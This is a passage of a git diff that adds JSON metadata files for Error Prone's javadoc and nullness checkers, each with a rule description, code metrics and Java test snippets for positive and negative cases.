*/\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/ReturnFromVoid.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/ReturnFromVoid.json new file mode 100644 index 0000000..2be6f8c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/ReturnFromVoid.json @@ -0,0 +1,30 @@ +{ + "name": "ReturnFromVoid", + "language": "java", + "description": "Void methods should not have a @return tag.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 67, + "branches": 3, + "apis": 3, + "test": [ + { + "description": "returnsVoid", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "interface Test {\n /**\n * @return anything\n */\n void foo();\n }\n \n\n interface Test {\n /** */\n void foo();\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 56 + ], + "code": "interface Test {\n /**\n * @return anything\n */\n int foo();\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/UnescapedEntity.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/UnescapedEntity.json new file mode 100644 index 0000000..385ce1a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/UnescapedEntity.json @@ -0,0 +1,126 @@ +{ + "name": "UnescapedEntity", + "language": "java", + "description": "Javadoc is interpreted as HTML, so HTML entities such as &, <, > must be escaped. If this finding seems wrong (e.g. is within a @code or @literal tag), check whether the tag could be malformed and not recognised by the compiler.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 275, + "branches": 20, + "apis": 5, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 36 + ], + "code": "/** List, Map */\n interface Test {}\n \n\n /** {@code List}, {@code Map} */\n interface Test {}" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 54 + ], + "code": "/** {@code List, Map} */\n interface Test {}" + }, + { + "description": "unescapedEntities_off", + "expected-problems": null, + "expected-linenumbers": [ + 66 + ], + "code": "/** Foo & bar < */\n interface Test {}" + }, + { + "description": "withinPre", + "expected-problems": null, + "expected-linenumbers": [ + 79 + ], + "code": "/**\n *\n *\n *
Foo
\n *\n *
Use an ImmutableMap please
\n *\n *
bar
\n */\n interface Test {}\n \n\n /**\n *\n *\n *
Foo
\n *\n *
{@code Use an ImmutableMap please}
\n *\n *
bar
\n */\n interface Test {}" + }, + { + "description": "withinPre_singleChar", + "expected-problems": null, + "expected-linenumbers": [ + 113 + ], + "code": "/**\n *\n *\n *
n < 3
\n */\n interface Test {}\n \n\n /**\n *\n *\n *
{@code n < 3}
\n */\n interface Test {}" + }, + { + "description": "withinPre_alreadyEscaped", + "expected-problems": null, + "expected-linenumbers": [ + 139 + ], + "code": "/**\n *\n *\n *
Use an ImmutableMap not a Map<String, Object>
\n */\n interface Test {}\n \n\n /**\n *\n *\n *
Use an ImmutableMap<String, Object> not a Map<String, Object>
\n */\n interface Test {}" + }, + { + "description": "withinPre_hasAnnotations", + "expected-problems": null, + "expected-linenumbers": [ + 168 + ], + "code": "/**\n * Foo\n *\n *
\n             *   @Override\n             *   ImmutableMap\n             * 
\n */\n interface Test {}\n \n\n /**\n * Foo\n *\n *
\n             *   @Override\n             *   ImmutableMap<String, Object>\n             * 
\n */\n interface Test {}" + }, + { + "description": "escapesWithoutAddingCodeBlock_withinPreBlockWithAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 203 + ], + "code": "/**\n * Foo\n *\n *
\n             *  {@literal @}Override\n             *   ImmutableMap\n             * 
\n */\n interface Test {}\n \n\n /**\n * Foo\n *\n *
\n             *  {@literal @}Override\n             *   ImmutableMap<String, Object>\n             * 
\n */\n interface Test {}" + }, + { + "description": "correctFindingPosition_withinPreBlock", + "expected-problems": null, + "expected-linenumbers": [ + 238 + ], + "code": "/**\n * Foo\n *\n *
\n             *  {@literal @}Override\n             * // BUG: Diagnostic contains: UnescapedEntity\n             *   ImmutableMap\n             * 
\n */\n interface Test {}" + }, + { + "description": "withinLink", + "expected-problems": null, + "expected-linenumbers": [ + 258 + ], + "code": "/** {@link List} */\n interface Test {}" + }, + { + "description": "withinSee", + "expected-problems": null, + "expected-linenumbers": [ + 270 + ], + "code": "import java.util.List;\n\n interface Test {\n /**\n * @see #foo(List)\n */\n void foo(List foos);\n }" + }, + { + "description": "badSee", + "expected-problems": null, + "expected-linenumbers": [ + 288 + ], + "code": "import java.util.List;\n\n interface Test {\n /**\n * @see google\n */\n void foo(List foos);\n }" + }, + { + "description": "extraClosingTag", + "expected-problems": null, + "expected-linenumbers": [ + 306 + ], + "code": "/**\n *\n *\n *
Foo List bar
\n *\n * \n */\n interface Test {}\n \n\n /**\n *\n *\n *
{@code Foo List bar}
\n *\n * \n */\n interface Test {}" + }, + { + "description": "nestedGenericType_properlyEscaped", + "expected-problems": null, + "expected-linenumbers": [ + 336 + ], + "code": "/** List> */\n interface Test {}\n \n\n /** {@code List>} */\n interface Test {}" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/UnrecognisedJavadocTag.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/UnrecognisedJavadocTag.json new file mode 100644 index 0000000..3c33bc2 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/UnrecognisedJavadocTag.json @@ -0,0 +1,38 @@ +{ + "name": "UnrecognisedJavadocTag", + "language": "java", + "description": "This Javadoc tag wasn't recognised by the parser. Is it malformed somehow, perhaps with mismatched braces?", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 103, + "branches": 5, + "apis": 1, + "test": [ + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 47 + ], + "code": "/**\n *\n *\n *
{@code\n             * foo() {}\n             * }
\n */\n class Test {}" + }, + { + "description": "link", + "expected-problems": null, + "expected-linenumbers": [ + 65 + ], + "code": "/**\n * // BUG: Diagnostic contains:\n * {@link Test)\n */\n class Test {}\n \n\n /** {@link Test}, {@link Bar} */\n class Test {}" + }, + { + "description": "correctLink", + "expected-problems": null, + "expected-linenumbers": [ + 80 + ], + "code": "/** {@link Test}, {@link Bar} */\n class Test {}" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/UrlInSee.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/UrlInSee.json new file mode 100644 index 0000000..4a560e4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/UrlInSee.json @@ -0,0 +1,30 @@ +{ + "name": "UrlInSee", + "language": "java", + "description": "URLs should not be used in @see tags; they are designed for Java elements which could be used with @link.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 84, + "branches": 6, + "apis": 5, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "/**\n * @see https://foo for more details\n */\n class Test {}\n \n\n /** See https://foo for more details */\n class Test {}" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 52 + ], + "code": "/**\n * @see java.util.List\n */\n class Test {}" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/AddNullMarkedToPackageInfo.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/AddNullMarkedToPackageInfo.json new file mode 100644 index 0000000..6ddde1e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/AddNullMarkedToPackageInfo.json @@ -0,0 +1,38 @@ +{ + "name": "AddNullMarkedToPackageInfo", + "language": "java", + "description": "Apply @NullMarked to this package", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 58, + "branches": 4, + "apis": 1, + "test": [ + { + "description": "annotationInserted", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "@ObjectiveCName(\"JBT\")\n package com.google.apps.bigtop.sync.client.api.gmailcards;\n\n import com.google.j2objc.annotations.ObjectiveCName;\n \n\n @NullMarked\n @ObjectiveCName(\"JBT\")\n package com.google.apps.bigtop.sync.client.api.gmailcards;\n\n import com.google.j2objc.annotations.ObjectiveCName;\n import org.jspecify.annotations.NullMarked;" + }, + { + "description": "annotationNotInserted_alreadyPresent", + "expected-problems": null, + "expected-linenumbers": [ + 55 + ], + "code": "@ObjectiveCName(\"JBT\")\n @NullMarked\n package com.google.apps.bigtop.sync.client.api.gmailcards;\n\n import com.google.j2objc.annotations.ObjectiveCName;\n import org.jspecify.annotations.NullMarked;\n \n\n @ObjectiveCName(\"JBT\")\n @NullMarked\n package com.google.apps.bigtop.sync.client.api.gmailcards;\n\n import com.google.j2objc.annotations.ObjectiveCName;\n import org.jspecify.annotations.NullMarked;" + }, + { + "description": "annotationNotInserted_notPackageInfo", + "expected-problems": null, + "expected-linenumbers": [ + 81 + ], + "code": "class T {\n private final Object obj2 = null;\n\n class Nullable {}\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/DereferenceWithNullBranch.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/DereferenceWithNullBranch.json new file mode 100644 index 0000000..9e87464 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/DereferenceWithNullBranch.json @@ -0,0 +1,70 @@ +{ + "name": "DereferenceWithNullBranch", + "language": "java", + "description": "Dereference of an expression with a null branch", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 69, + "branches": 8, + "apis": 2, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "import java.util.Optional;\n\n class Foo {\n void foo(Optional o) {\n // BUG: Diagnostic contains:\n o.orElse(null).intValue();\n }\n }" + }, + { + "description": "positiveTernary", + "expected-problems": null, + "expected-linenumbers": [ + 48 + ], + "code": "import java.util.Optional;\n\n class Foo {\n int foo(String s) {\n // BUG: Diagnostic contains:\n return (s == null) ? s.length() : 0;\n }\n }" + }, + { + "description": "negativeNoNullBranch", + "expected-problems": null, + "expected-linenumbers": [ + 66 + ], + "code": "import java.util.Optional;\n\n class Foo {\n void foo() {\n Optional.of(7).get().intValue();\n }\n }" + }, + { + "description": "negativeVoid", + "expected-problems": null, + "expected-linenumbers": [ + 83 + ], + "code": "class Foo {\n void foo() {\n Class c;\n c = Void.class;\n c = void.class;\n c = Void.TYPE;\n }\n }" + }, + { + "description": "noCrashOnQualifiedClass", + "expected-problems": null, + "expected-linenumbers": [ + 101 + ], + "code": "class Foo {\n class Bar {}\n\n Foo.Bar bar;\n }" + }, + { + "description": "noCrashOnQualifiedInterface", + "expected-problems": null, + "expected-linenumbers": [ + 116 + ], + "code": "import java.util.Map;\n\n interface Foo {\n void foo(Map.Entry o);\n }" + }, + { + "description": "noCrashOnModule", + "expected-problems": null, + "expected-linenumbers": [ + 131 + ], + "code": "module foo.bar {\n requires java.logging;\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/EqualsBrokenForNull.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/EqualsBrokenForNull.json new file mode 100644 index 0000000..b0b34c6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/EqualsBrokenForNull.json @@ -0,0 +1,46 @@ +{ + "name": "EqualsBrokenForNull", + "language": "java", + "description": "equals() implementation may throw NullPointerException when given null", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 143, + "branches": 19, + "apis": 2, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "package com.google.errorprone.bugpatterns.nullness.testdata;\n\n /**\n * Positive test cases for EqualsBrokenForNull check.\n *\n * @author bhagwani@google.com (Sumit Bhagwani)\n */\n public class EqualsBrokenForNullPositiveCases {\n\n private class ObjectGetClassArgToEquals {\n @Override\n // BUG: Diagnostic contains: if (obj == null) { return false; }\n public boolean equals(Object obj) {\n if (!getClass().equals(obj.getClass())) {\n return false;\n }\n return true;\n }\n }\n\n private class ObjectGetClassArgToEqualsMultiLine {\n @Override\n // BUG: Diagnostic contains: if (obj == null) { return false; }\n public boolean equals(Object obj) {\n if (this == obj) {\n return true;\n }\n if (!getClass().equals(obj.getClass())) {\n return false;\n }\n return true;\n }\n }\n\n private class ObjectGetClassArgToIsAssignableFrom {\n @Override\n // BUG: Diagnostic contains: if (obj == null) { return false; }\n public boolean equals(Object obj) {\n if (!getClass().isAssignableFrom(obj.getClass())) {\n return false;\n }\n return true;\n }\n }\n\n private class ObjectGetClassArgToEquals2 {\n @Override\n // BUG: Diagnostic contains: if (obj == null) { return false; }\n public boolean equals(Object obj) {\n if (!ObjectGetClassArgToEquals2.class.equals(obj.getClass())) {\n return false;\n }\n return true;\n }\n }\n\n private class ObjectGetClassReceiverToEquals {\n @Override\n // BUG: Diagnostic contains: if (obj == null) { return false; }\n public boolean equals(Object obj) {\n if (!obj.getClass().equals(getClass())) {\n return false;\n }\n return true;\n }\n }\n\n private class ObjectGetClassReceiverToEquals2 {\n @Override\n // BUG: Diagnostic contains: if (obj == null) { return false; }\n public boolean equals(Object obj) {\n if (!obj.getClass().equals(ObjectGetClassReceiverToEquals2.class)) {\n return false;\n }\n return true;\n }\n }\n\n private class ObjectGetClassReceiverToIsAssignableFrom {\n @Override\n // BUG: Diagnostic contains: if (obj == null) { return false; }\n public boolean equals(Object obj) {\n if (!obj.getClass().isAssignableFrom(getClass())) {\n return false;\n }\n return true;\n }\n }\n\n private class ObjectGetClassLeftOperandDoubleEquals {\n @Override\n // BUG: Diagnostic contains: if (other == null) { return false; }\n public boolean equals(Object other) {\n if (other.getClass() == ObjectGetClassLeftOperandDoubleEquals.class) {\n return true;\n }\n return false;\n }\n }\n\n private class ObjectGetClassRightOperandDoubleEquals {\n @Override\n // BUG: Diagnostic contains: if (other == null) { return false; }\n public boolean equals(Object other) {\n if (ObjectGetClassRightOperandDoubleEquals.class == other.getClass()) {\n return true;\n }\n return false;\n }\n }\n\n private class ObjectGetClassLeftOperandNotEquals {\n @Override\n // BUG: Diagnostic contains: if (obj == null) { return false; }\n public boolean equals(Object obj) {\n if (obj.getClass() != ObjectGetClassLeftOperandNotEquals.class) {\n return false;\n }\n return true;\n }\n }\n\n private class ObjectGetClassRightOperandNotEquals {\n @Override\n // BUG: Diagnostic contains: if (obj == null) { return false; }\n public boolean equals(Object obj) {\n if (ObjectGetClassRightOperandNotEquals.class != obj.getClass()) {\n return false;\n }\n return true;\n }\n }\n\n private class UnusedNullCheckWithNotEqualToInLeftOperand {\n @Override\n // BUG: Diagnostic contains: if (o == null) { return false; }\n public boolean equals(Object o) {\n if (this.getClass() != o.getClass() || o == null) {\n return false;\n }\n return true;\n }\n }\n\n private class UnusedNullCheckWithGetClassInEqualsArg {\n @Override\n // BUG: Diagnostic contains: if (o == null) { return false; }\n public boolean equals(Object o) {\n if (this.getClass().equals(o.getClass()) || o == null) {\n return false;\n }\n return true;\n }\n }\n\n private class UnsafeCastAndNoNullCheck {\n private int a;\n\n @Override\n // BUG: Diagnostic contains: if (o == null) { return false; }\n public boolean equals(Object o) {\n UnsafeCastAndNoNullCheck that = (UnsafeCastAndNoNullCheck) o;\n return that.a == a;\n }\n }\n\n // Catch a buggy instanceof check that lets nulls through.\n private class VerySillyInstanceofCheck {\n private int a;\n\n @Override\n // BUG: Diagnostic contains: if (o == null) { return false; }\n public boolean equals(Object o) {\n if (o != null && !(o instanceof VerySillyInstanceofCheck)) {\n return false;\n }\n VerySillyInstanceofCheck that = (VerySillyInstanceofCheck) o;\n return that.a == a;\n }\n }\n }\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 224 + ], + "code": "package com.google.errorprone.bugpatterns.nullness.testdata;\n\n/**\n * Negative test cases for EqualsBrokenForNull check.\n *\n * @author bhagwani@google.com (Sumit Bhagwani)\n */\npublic class EqualsBrokenForNullNegativeCases {\n\n private class ExplicitNullCheckFirst {\n @Override\n public boolean equals(Object obj) {\n if (obj == null) {\n return false;\n }\n if (!getClass().equals(obj.getClass())) {\n return false;\n }\n return true;\n }\n }\n\n private class CheckWithSuperFirst {\n @Override\n public boolean equals(Object obj) {\n if (!super.equals(obj)) {\n return false;\n }\n if (!getClass().equals(obj.getClass())) {\n return false;\n }\n return true;\n }\n }\n\n private class NullCheckAndObjectGetClassNotEqualTo {\n @Override\n public boolean equals(Object o) {\n if (o == null || this.getClass() != o.getClass()) {\n return false;\n }\n return true;\n }\n }\n\n private class NullCheckAndObjectGetClassArgToEquals {\n @Override\n public boolean equals(Object obj) {\n if (obj != null && !getClass().equals(obj.getClass())) {\n return false;\n }\n return true;\n }\n }\n\n private class NullCheckAndObjectGetClassReceiverToEquals {\n @Override\n public boolean equals(Object obj) {\n if (obj != null && !obj.getClass().equals(getClass())) {\n return false;\n }\n return true;\n }\n }\n\n private class NullCheckAndObjectGetClassLeftOperandDoubleEquals {\n @Override\n public boolean equals(Object other) {\n if (other != null\n && other.getClass() == NullCheckAndObjectGetClassLeftOperandDoubleEquals.class) {\n return true;\n }\n return false;\n }\n }\n\n private class UsesInstanceOfWithNullCheck {\n @Override\n public boolean equals(Object other) {\n if (other != null && other instanceof UsesInstanceOfWithNullCheck) {\n return true;\n }\n return false;\n }\n }\n\n // https://stackoverflow.com/questions/2950319/is-null-check-needed-before-calling-instanceof\n private class UsesInstanceOfWithoutNullCheck {\n private int a;\n\n @Override\n public boolean equals(Object other) {\n if (other instanceof UsesInstanceOfWithoutNullCheck) {\n UsesInstanceOfWithoutNullCheck that = (UsesInstanceOfWithoutNullCheck) other;\n return that.a == a;\n }\n return false;\n }\n }\n\n private class IntermediateBooleanVariable {\n private int a;\n\n @Override\n public boolean equals(Object other) {\n boolean isEqual = other instanceof IntermediateBooleanVariable;\n if (isEqual) {\n IntermediateBooleanVariable that = (IntermediateBooleanVariable) other;\n return that.a == a;\n }\n return isEqual;\n }\n }\n\n private class UnsafeCastWithNullCheck {\n private int a;\n\n @Override\n public boolean equals(Object o) {\n if (o == null) {\n return false;\n }\n UnsafeCastWithNullCheck that = (UnsafeCastWithNullCheck) o;\n return that.a == a;\n }\n }\n}\\" + }, + { + "description": "negativeGenerics", + "expected-problems": null, + "expected-linenumbers": [ + 361 + ], + "code": "class Test {\n A a;\n B b;\n\n public boolean equals(Object other) {\n if (!(other instanceof Test)) {\n return false;\n }\n Test that = (Test) other;\n return a.equals(that.a) && b.equals(that.b);\n }\n }" + }, + { + "description": "nullableParameter", + "expected-problems": null, + "expected-linenumbers": [ + 383 + ], + "code": "import java.util.Optional;\n\n class Test {\n public boolean equals(Object other) {\n if (other == null) {\n return false;\n }\n if (other instanceof Test) {\n Test otherTest = (Test) other;\n Optional.empty().map(x -> otherTest.toString());\n }\n return other.equals(this);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/EqualsMissingNullable.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/EqualsMissingNullable.json new file mode 100644 index 0000000..d1ae71e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/EqualsMissingNullable.json @@ -0,0 +1,86 @@ +{ + "name": "EqualsMissingNullable", + "language": "java", + "description": "Method overrides Object.equals but does not have @Nullable on its parameter", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 69, + "branches": 7, + "apis": 2, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 39 + ], + "code": "abstract class Foo {\n // BUG: Diagnostic contains: @Nullable\n public abstract boolean equals(Object o);\n }" + }, + { + "description": "declarationAnnotatedLocation", + "expected-problems": null, + "expected-linenumbers": [ + 53 + ], + "code": "import javax.annotation.Nullable;\n\n abstract class Foo {\n public abstract boolean equals(final Object o);\n }\n \n\n import javax.annotation.Nullable;\n\n abstract class Foo {\n public abstract boolean equals(@Nullable final Object o);\n }" + }, + { + "description": "typeAnnotatedLocation", + "expected-problems": null, + "expected-linenumbers": [ + 77 + ], + "code": "import org.checkerframework.checker.nullness.qual.Nullable;\n\n abstract class Foo {\n public abstract boolean equals(final Object o);\n }\n \n\n import org.checkerframework.checker.nullness.qual.Nullable;\n\n abstract class Foo {\n public abstract boolean equals(final @Nullable Object o);\n }" + }, + { + "description": "negativeAlreadyAnnotated", + "expected-problems": null, + "expected-linenumbers": [ + 101 + ], + "code": "import javax.annotation.Nullable;\n\n abstract class Foo {\n public abstract boolean equals(@Nullable Object o);\n }" + }, + { + "description": "negativeAlreadyAnnotatedWithProtobufAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 116 + ], + "code": "abstract class Foo {\n public abstract boolean equals(@ProtoMethodAcceptsNullParameter Object o);\n }" + }, + { + "description": "negativeNotObjectEquals", + "expected-problems": null, + "expected-linenumbers": [ + 131 + ], + "code": "abstract class Foo {\n public abstract boolean equals(String s, int i);\n }" + }, + { + "description": "positiveConservativeNullMarked", + "expected-problems": null, + "expected-linenumbers": [ + 144 + ], + "code": "import org.jspecify.annotations.NullMarked;\n\n @NullMarked\n abstract class Foo {\n // BUG: Diagnostic contains: @Nullable\n public abstract boolean equals(Object o);\n }" + }, + { + "description": "negativeConservativeNullMarkedCountermanded", + "expected-problems": null, + "expected-linenumbers": [ + 161 + ], + "code": "import org.jspecify.annotations.NullMarked;\n import org.jspecify.annotations.NullUnmarked;\n\n @NullMarked\n abstract class Foo {\n @NullUnmarked\n public abstract boolean equals(Object o);\n }" + }, + { + "description": "negativeConservativeNotNullMarked", + "expected-problems": null, + "expected-linenumbers": [ + 179 + ], + "code": "abstract class Foo {\n public abstract boolean equals(Object o);\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/ExtendsObject.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/ExtendsObject.json new file mode 100644 index 0000000..71d84ec --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/ExtendsObject.json @@ -0,0 +1,38 @@ +{ + "name": "ExtendsObject", + "language": "java", + "description": "`T extends Object` is redundant (unless you are using the Checker Framework).", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 51, + "branches": 4, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "import org.checkerframework.checker.nullness.qual.NonNull;\n\n class Foo {}" + }, + { + "description": "extendsParameterWithObjectErasure_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 46 + ], + "code": "" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 56 + ], + "code": "import org.checkerframework.checker.nullness.qual.NonNull;\n\n class Foo {}" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/FieldMissingNullable.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/FieldMissingNullable.json new file mode 100644 index 0000000..9138042 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/FieldMissingNullable.json @@ -0,0 +1,238 @@ +{ + "name": "FieldMissingNullable", + "language": "java", + "description": "Field is assigned (or compared against) a definitely null value but is not annotated @Nullable", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 131, + "branches": 14, + "apis": 5, + "test": [ + { + "description": "literalNullAssignment", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n public class FieldMissingNullTest {\n private String message = \"hello\";\n\n public void reset() {\n // BUG: Diagnostic contains: @Nullable\n message = null;\n }\n }" + }, + { + "description": "definiteNullAssignment", + "expected-problems": null, + "expected-linenumbers": [ + 53 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n public class FieldMissingNullTest {\n private String message = \"hello\";\n\n public void setMessage(String message) {\n // BUG: Diagnostic contains: @Nullable\n this.message = message != null ? null : message;\n }\n }" + }, + { + "description": "assignmentInsideIfNull", + "expected-problems": null, + "expected-linenumbers": [ + 73 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n public class FieldMissingNullTest {\n private String message;\n\n public void setMessage(String message) {\n if (message == null) {\n // BUG: Diagnostic contains: @Nullable\n this.message = message;\n } else {\n this.message = \"hello\";\n }\n }\n }" + }, + { + "description": "maybeNullAssignment", + "expected-problems": null, + "expected-linenumbers": [ + 97 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n public class FieldMissingNullTest {\n private String message = \"hello\";\n\n public void setMessage(int x) {\n // BUG: Diagnostic contains: @Nullable\n message = x >= 0 ? null : \"negative\";\n }\n }" + }, + { + "description": "nullInitializer", + "expected-problems": null, + "expected-linenumbers": [ + 117 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n import javax.annotation.Nullable;\n\n public class NullableParameterTest {\n // BUG: Diagnostic contains: @Nullable\n public static final String MESSAGE = null;\n }" + }, + { + "description": "maybeNullAssignmentInLambda", + "expected-problems": null, + "expected-linenumbers": [ + 135 + ], + "code": "" + }, + { + "description": "comparisonToNull", + "expected-problems": null, + "expected-linenumbers": [ + 153 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n public class FieldMissingNullTest {\n private String message;\n\n public void reset() {\n // BUG: Diagnostic contains: @Nullable\n if (message != null) {}\n }\n }" + }, + { + "description": "comparisonToNullOnOtherInstance", + "expected-problems": null, + "expected-linenumbers": [ + 173 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n public class FieldMissingNullTest {\n private String message;\n\n public void reset(FieldMissingNullTest other) {\n // BUG: Diagnostic contains: @Nullable\n if (other.message != null) {}\n }\n }" + }, + { + "description": "recordComponent", + "expected-problems": null, + "expected-linenumbers": [ + 193 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n record FieldMissingNullTest(String message) {\n boolean hasMessage() {\n return message != null;\n }\n }\n \n\n package com.google.errorprone.bugpatterns.nullness;\n\n import org.jspecify.annotations.Nullable;\n\n record FieldMissingNullTest(@Nullable String message) {\n boolean hasMessage() {\n return message != null;\n }\n }" + }, + { + "description": "negativeCases_comparisonToNullConservative", + "expected-problems": null, + "expected-linenumbers": [ + 223 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n public class FieldMissingNullTest {\n private String message;\n\n public void reset() {\n if (message != null) {}\n }\n }" + }, + { + "description": "negativeCases_alreadyAnnotated", + "expected-problems": null, + "expected-linenumbers": [ + 242 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n import javax.annotation.Nullable;\n\n public class FieldMissingNullTest {\n @Nullable String message;\n\n public void reset() {\n this.message = null;\n }\n }" + }, + { + "description": "negativeCases_alreadyTypeAnnotated", + "expected-problems": null, + "expected-linenumbers": [ + 263 + ], + "code": "package com.google.anno.my;\n\n import java.lang.annotation.ElementType;\n import java.lang.annotation.Target;\n\n @Target({ElementType.TYPE_USE})\n public @interface Nullable {}\n \n\n package com.google.errorprone.bugpatterns.nullness;\n\n import com.google.anno.my.Nullable;\n\n public class FieldMissingNullTest {\n @Nullable String message;\n\n public void reset() {\n this.message = null;\n }\n }" + }, + { + "description": "negativeCases_alreadyAnnotatedMonotonic", + "expected-problems": null, + "expected-linenumbers": [ + 295 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n import org.checkerframework.checker.nullness.qual.MonotonicNonNull;\n\n public class FieldMissingNullTest {\n private @MonotonicNonNull String message;\n\n public void reset() {\n if (message != null) {}\n }\n }" + }, + { + "description": "negativeCases_alreadyTypeAnnotatedInnerClass", + "expected-problems": null, + "expected-linenumbers": [ + 316 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n import org.checkerframework.checker.nullness.qual.Nullable;\n\n public class FieldMissingNullTest {\n class Inner {}\n\n @Nullable Inner message;\n\n public void reset() {\n this.message = null;\n }\n }" + }, + { + "description": "negativeCases_alreadyAnnotatedRecordComponent", + "expected-problems": null, + "expected-linenumbers": [ + 339 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n import org.jspecify.annotations.Nullable;\n\n record FieldMissingNullTest(@Nullable String message) {\n boolean hasMessage() {\n return message != null;\n }\n }" + }, + { + "description": "negativeCases_initializeWithNonNullLiteral", + "expected-problems": null, + "expected-linenumbers": [ + 358 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n public class FieldMissingNullTest {\n private final String message;\n\n public FieldMissingNullTest() {\n message = \"hello\";\n }\n }" + }, + { + "description": "negativeCases_nonNullInitializer", + "expected-problems": null, + "expected-linenumbers": [ + 377 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n public class FieldMissingNullTest {\n private String message = \"hello\";\n }" + }, + { + "description": "negativeCases_lambdaInitializer", + "expected-problems": null, + "expected-linenumbers": [ + 392 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n import java.util.function.Predicate;\n import java.util.function.Function;\n\n public class FieldMissingNullTest {\n private Runnable runnable = () -> {};\n private Predicate predicate1 = p -> true;\n private Predicate predicate2 = (p -> true);\n private Predicate predicate3 =\n (String p) -> {\n return false;\n 